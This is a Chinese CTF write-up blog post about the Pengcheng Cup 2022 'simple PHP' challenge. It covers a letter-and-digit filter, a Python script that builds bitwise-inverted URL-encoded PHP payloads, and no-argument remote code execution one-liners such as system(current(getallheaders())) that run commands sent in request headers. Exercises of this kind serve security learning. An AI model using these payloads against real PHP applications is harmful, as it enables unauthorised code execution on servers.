[鹏城杯 2022]简单的php 取反的另一种无数字字母rce 通过请求头执行命令

最新推荐文章于 2024-08-21 01:29:31 发布

双层小牛堡

最新推荐文章于 2024-08-21 01:29:31 发布

阅读量747

点赞数 1

分类专栏： NSSCTF 文章标签： php

本文链接：https://blog.csdn.net/m0_64180167/article/details/134153902

版权

NSSCTF 专栏收录该内容

10 篇文章 0 订阅

订阅专栏

文章讲述了在2022年鹏城杯中，作者通过PHP脚本分析和利用无字母webshell，描述了如何绕过腾讯云开发者社区的过滤机制，利用特殊字符编码和数组执行来执行命令。重点介绍了通过[]操作符执行代码以及注意事项，如无参数命令执行限制。

摘要由CSDN通过智能技术生成

鹏城杯2022部分web-CSDN博客

无字母webshell | Bypass-腾讯云开发者社区-腾讯云

这里记录一下

首先获取过滤

if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code))

写个脚本看看还有什么没有被过滤

<?php 

for ($ascii=0; $ascii < 256; $ascii++){
    if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){
            echo chr($ascii);
    }
}

过滤的很死但是放出来了几个字符我们去

构造取反

exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

介绍一下原理

这里我们需要通过[] 来执行

[~%8f%97%8f%96%91%99%90] 这里是 [phpinfo]

[] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西

[~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo

[!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo


然后补上括号即可
[~%8f%97%8f%96%91%99%90][!%FF]();

代码执行成功

说明可行那么我们就继续

这里我们需要思考如何可以

然后这里发现啥都没过滤那么可以直接来执行咯

这里就按照其他师傅的样子来请求头执行

system(current(getallheaders()));

执行命令

这里需要注意这里是无参数命令执行加入参数就无法实现

eval(hex2bin(session_id(session_start())));
 
print_r(current(get_defined_vars()));&b=phpinfo();
 
eval(next(getallheaders()));
 
var_dump(getenv(phpinfo()));
 
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
 
print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件

这里就结束了